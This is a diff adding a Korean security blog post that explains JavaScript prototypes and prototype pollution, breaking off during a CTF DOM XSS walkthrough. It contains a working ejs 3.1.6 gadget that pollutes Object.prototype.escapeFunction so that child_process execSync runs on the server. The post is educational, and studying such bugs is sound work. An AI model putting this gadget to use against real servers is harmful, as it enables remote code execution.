diff --git a/_posts/prototype pollution.md b/_posts/prototype pollution.md new file mode 100644 index 0000000..1ce1ba1 --- /dev/null +++ b/_posts/prototype pollution.md @@ -0,0 +1,1112 @@ +--- +title: Python 환경에서의 Prototype Pollution 취약점 +description: Python 환경에서의 Prototype Pollution,Prototype pollution이란 +author: 가세혁(dpp), 김다희(lxnee), 박진완(realsung), 정성훈(HunSec) +date: +tags: [Web] +categories: [Web,Server Side,Client Side] +comments: false +math: true +pin: false +image: /assets/img/ +--- +# 최종본 + +***By Knights of the SPACE 가세혁(dpp), 김다희(lxnee), 박진완(realsung), 정성훈(HunSec)*** + +# **BackGround** + +# Class Pollution 취약점 소개 전에 알아야 할 배경지식 + +- **Class Pollution 취약점을 설명하기 전에 반드시 짚고 넘어가야 할 핵심 개념입니다.** +- **JavaScript는 객체지향 언어이며, 모든 동작이 객체를 기반으로 이루어집니다.** +- **실제로 JavaScript를 구성하는 거의 모든 요소가 객체입니다.** + +## 객체란? + +- **이름(Key)과 값(Value)으로 구성된 속성들의 집합**입니다. +- **아래 객체 예시**를 확인해 보시기 바랍니다. + +### **person 객체** + +```python +const person = { + name: "지수", // key: name, value: "지수" + age: 24, // key: age, value: 24 + isStudent: true // key: isStudent, value: true +}; +``` + +## 속성이란? + +- 객체(Object) 안에 있는 **"이름(key)"과 "값(value)"의 쌍**을 의미합니다. + +```python +const user = { + name: "지수", // name: 속성 + age: 25 // age: 속성 +}; +``` + +- name, age → **속성** 이름 (key) +- "지수", 25 → **속성** 값 (value) + +## 메소드란 + +• **객체 안에 정의되거나 객체에 속하는 함수**를 의미합니다. + +### 메소드와 함수의 차이 + +- **메소드**: 객체를 통해 호출되는 함수 +- **함수**: 객체 없이 독립적으로 호출되는 함수 + +**메소드** + +```jsx +const obj = { + greet: function() { + console.log("안녕!"); + } +}; +obj.greet(); +``` + +**함수** + +```jsx +function greet() { + console.log("안녕!"); +} +greet(); +``` + +## Prototype + +JavaScript는 전통적인 클래스(Class) 기반 상속과 달리, **Prototype(프로토타입) 기반 상속**을 사용합니다. + +**Prototype**은 타 언어와 구별되는, JavaScript만의 핵심 개념 중 하나입니다. + +> Prototype은 JavaScript에서 **객체가 다른 객체로부터 속성과 메소드를 상속받기 위한 메커니즘**입니다. +쉽게 말해, **Prototype은 유전자와 같은 역할**을 한다고 이해하면 좋습니다. +> + +### Prototype의 이해 + +```jsx +const user = { + sayHi() { + console.log("안녕!"); + } +}; + +**const admin = Object.create(user); // user를 prototype으로 지정** +admin.name = "관리자"; + +admin.sayHi(); // 👉 "안녕!" ← **user에서 상속받은 메서드** +``` + +`admin` 객체는 `user` 객체를 **Prototype으로 삼고** 있기 때문에, + +`admin` 자체에 `sayHi()` 메소드가 없어도 **Prototype Chain**을 따라 + +`user.sayHi()`를 찾아 호출할 수 있습니다. + +### **Prototype 구조 요약** + +- **부모 객체의 prototype (유전자)** + - **자식에게 물려줄 메소드**를 정의하는 전용 공간입니다. + - **예시:** + + ```jsx + Parent.prototype.sayHello = function () { + console.log("안녕하세요!"); + }; + ``` + +- **자식 객체의 __proto__(내부 유전자에 접근하기)** + - 객체가 생성될 때, **부모의 prototype을 참조해 저장**됩니다. + - 이를 통해 **부모로부터 상속된 메소드와 속성**에 접근할 수 있습니다. + +### __**proto__** + +모든 객체는 **`__proto__`** 속성을 통해 자신의 **Prototype Chain(프로토타입 내부 구조)**에 접근할 수 있습니다 + +### **prototype 예시** + +```jsx +function Person(name) { + this.name = name; +} +Person.prototype.sayHello = function() { + console.log("안녕, 나는 " + this.name); +}; + +const p1 = new Person("지수"); +p1.sayHello(); // 👉 "안녕, 나는 지수" + +``` + +- `p1` 객체는 `Person.prototype`을 **프로토타입으로 삼아** 메서드를 상속받습니다. +- 따라서 `p1` 자체에는 `sayHello`가 없지만, **Prototype Chain을 통해** `Person.prototype.sayHello`를 호출할 수 있습니다. + +## JavaScript 상속 + +JavaScript는 **Class 기반 상속**이 아닌, + +**Prototype 기반 상속**을 통해 객체 간 연결로 상속을 구현합니다. + +이때 사용되는 주요 요소는 다음과 같습니다: + +- `Object` +- `__proto__` +- `Object.create()` + +즉, 객체가 다른 객체를 **프로토타입으로 삼아 속성과 메소드를 상속**받는 구조입니다. + +### JavaScript: Prototype 기**반 상속** + +```jsx +const parent = { + sayHi() { + console.log("안녕!"); + } +}; + +const child = Object.create(parent); +child.name = "지수"; + +child.sayHi(); // 👉 parent에서 상속받은 메서드 + +``` + +### Python: Class **기반 상속** + +```jsx +class Parent: + def say_hi(self): + print("안녕!") + +class Child(Parent): # 상속 + def __init__(self, name): + self.name = name + +c = Child("지수") +c.say_hi() # 👉 Parent에서 상속받은 메서드 + +``` + +--- + +# Prototype pollution + +## Prototype Pollution이란 + +**Prototype Pollution**은 공격자가 객체의 `Prototype`(`Object.prototype`)에 접근하여 **임의의 속성을 추가하거나 덮어쓸 수 있게 되는 JavaScript 취약점**입니다. + +이 취약점은 애플리케이션이 사용자 입력을 **적절히 검증하지 않고 객체에 병합(merge) 또는 확장(extend)**할 때 발생하며, + +다른 보안 취약점으로 쉽게 이어질 수 있습니다. + +### 위험성 + +- **클라이언트 측(JavaScript)**: + + → **DOM XSS**(Document Object Model 기반 Cross-Site Scripting)로 이어질 수 있음 + +- **서버 측(Node.js 등)**: + + → **RCE**(Remote Code Execution) 같은 심각한 취약점으로 악용 가능 + + +Prototype Pollution을 실질적으로 활용하려면 **Prototype에 접근하는 다양한 방법**을 이해하는 것이 중요합니다. + +2024년 7월 10일, Ark는 X(구 Twitter)에 + +**“Tips: 7 ways to access `__proto__` in JavaScript”**라는 제목으로 + +관련 내용을 소개한 바 있습니다. + +[https://x.com/arkark_/status/1943260773268230205](https://x.com/arkark_/status/1943260773268230205) + +위와 같이 **7가지 방법**으로 `prototype`에 접근할 수 있습니다. + +그러면 **Prototype Pollution(PP)**은 주로 **어떤 상황에서 발생**할까요? + +**일반적으로 PP는 다음과 같은 상황에서 주로 발생**합니다. + +```jsx +const obj = {}; +const credential = {}; + +INPUT1 = '__proto__'; +INPUT2 = 'admin'; +INPUT3 = true; +obj[INPUT1][INPUT2] = INPUT3; + +if (credential.admin) console.log('Hello Admin'); +// Output : Hello Admin +``` + +위 예시처럼, **사용자의 입력값이 객체의 키로 사용되고**, + +또한 **해당 키에 할당되는 값(INPUT3)까지 조작할 수 있는 경우**, + +**PP**가 발생하게 됩니다. + +이러한 방식으로 공격자는 내부 객체(`credential` 등)의 **속성을 간접적으로 조작**하여, + +**원래 허용되지 않은 동작을 유도**할 수 있습니다. + +예제에서는 `credential` 객체에 `admin` 속성이 없었지만, + +`Object.prototype.admin`에 `true`가 설정되면서 + +모든 객체에서 `admin` 속성이 존재하는 것처럼 동작하게 됩니다. + +## 공격 예시 + +### **Prototype Pollution → RCE 사례** + +Server Side에서 **Protype Pollution 취약점이** 발생할 경우, + +**원격 코드 실행(RCE)**로 이어질 수 있다는 점을 보여주는 좋은 사례입니다. + +> (이해를 돕기 위해 PP를 코드에 직접 삽입하였지만, 실제로는 사용자 입력을 통해 충분히 동일한 상황이 발생할 수 있습니다.) +> + +- **모듈**: `ejs` (Embedded JavaScript templating) +- **버전**: `3.1.6` + +```jsx +// app.js +const express = require('express'); +const app = express(); +const PORT = 3000; +app.set('views', __dirname); +app.set('view engine', 'ejs'); + +Object.prototype.client = 1; +**Object.prototype.escapeFunction = 'function(){};console.log(process.mainModule.require("child_process").execSync("dir").toString())';** + +app.get('/', (req, res) => { + res.render('index'); +}); + +app.listen(PORT, () => { + console.log(`Server is running on ${PORT}`); +}); +``` + +`process.mainModule.require("child_process").execSync("dir").toString()` 구문을 통해 +서버에서 명령어가 실행되고, 결과가 출력됩니다. + + + +--- + +### **Prototype Pollution → DOM XSS** + +**L3akCTF 2025**에서 출제된 [**NotoriousNote**](https://ctf.l3ak.team/challenges#NotoriousNote-64) 문제는 +**Prototype Pollution을 통해 DOM XSS로 이어질 수 있음을 보여주는 좋은 사례**입니다. + +### index.js 코드 분석 + +```jsx +// index.js +document.addEventListener('DOMContentLoaded', function() { + const [_, query] = [window.location, QueryArg.parseQuery(window.location.search)]; + const { note: n } = query; + + const actions = [ + () => console.debug(n), + () => { + const el = document.getElementById('notesPlaceholder'); + if (n) { + const renderNote = txt => `